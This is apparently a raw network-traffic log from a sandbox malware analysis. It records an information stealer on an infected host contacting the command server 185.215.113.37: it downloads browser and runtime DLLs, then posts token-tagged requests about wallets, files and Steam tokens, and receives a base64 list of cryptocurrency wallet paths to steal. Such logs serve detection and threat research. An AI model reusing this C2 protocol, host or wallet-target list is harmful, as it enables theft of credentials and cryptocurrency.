2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 30, 2024 12:33:17.257086992 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 30, 2024 12:33:17.473006964 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 30, 2024 12:33:18.512187004 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 30, 2024 12:33:18.728168964 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:18 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 30, 2024 12:33:19.403474092 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 30, 2024 12:33:19.619623899 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:19 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 30, 2024 12:33:23.017324924 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 30, 2024 12:33:23.240503073 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 30, 2024 12:33:23.664629936 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 30, 2024 12:33:23.880945921 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 30, 2024 12:33:24.563513994 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGCGHCGHCBFHJJKKJEH Host: 185.215.113.37 Content-Length: 1003 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:33:25.826311111 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 12:33:25.826455116 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 12:33:25.949060917 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBGDGIDBAAEBFHJKJDG Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 2d 2d 0d 0a Data Ascii: ------BFBGDGIDBAAEBFHJKJDGContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------BFBGDGIDBAAEBFHJKJDGContent-Disposition: form-data; name="message"wallets------BFBGDGIDBAAEBFHJKJDG--
Sep 30, 2024 12:33:26.167444944 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:26 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 30, 2024 12:33:26.170165062 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECGCGHCGHCAKECBKJK Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="message"files------DAECGCGHCGHCAKECBKJK--
Sep 30, 2024 12:33:26.389734983 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 12:33:26.408037901 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFIEHCFIECBGCBFHIJJ Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FCFIEHCFIECBGCBFHIJJContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------FCFIEHCFIECBGCBFHIJJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FCFIEHCFIECBGCBFHIJJContent-Disposition: form-data; name="file"------FCFIEHCFIECBGCBFHIJJ--
Sep 30, 2024 12:33:27.113632917 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 12:33:27.140829086 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJEGCBKKJECBGCGDBA Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 45 47 43 42 4b 4b 4a 45 43 42 47 43 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 45 47 43 42 4b 4b 4a 45 43 42 47 43 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 45 47 43 42 4b 4b 4a 45 43 42 47 43 47 44 42 41 2d 2d 0d 0a Data Ascii: ------CBKJEGCBKKJECBGCGDBAContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------CBKJEGCBKKJECBGCGDBAContent-Disposition: form-data; name="message"ybncbhylepme------CBKJEGCBKKJECBGCGDBA--
Sep 30, 2024 12:33:27.362719059 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:27 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5733 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f [TRUNCATED] Data Ascii: .pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com.google.com
Sep 30, 2024 12:33:27.364301920 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJJKFIIIJJJECAAEHDB Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 2d 2d 0d 0a Data Ascii: ------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KJJJKFIIIJJJECAAEHDB--
Sep 30, 2024 12:33:28.244833946 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:33:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	06:33:02
Start date:	30/09/2024
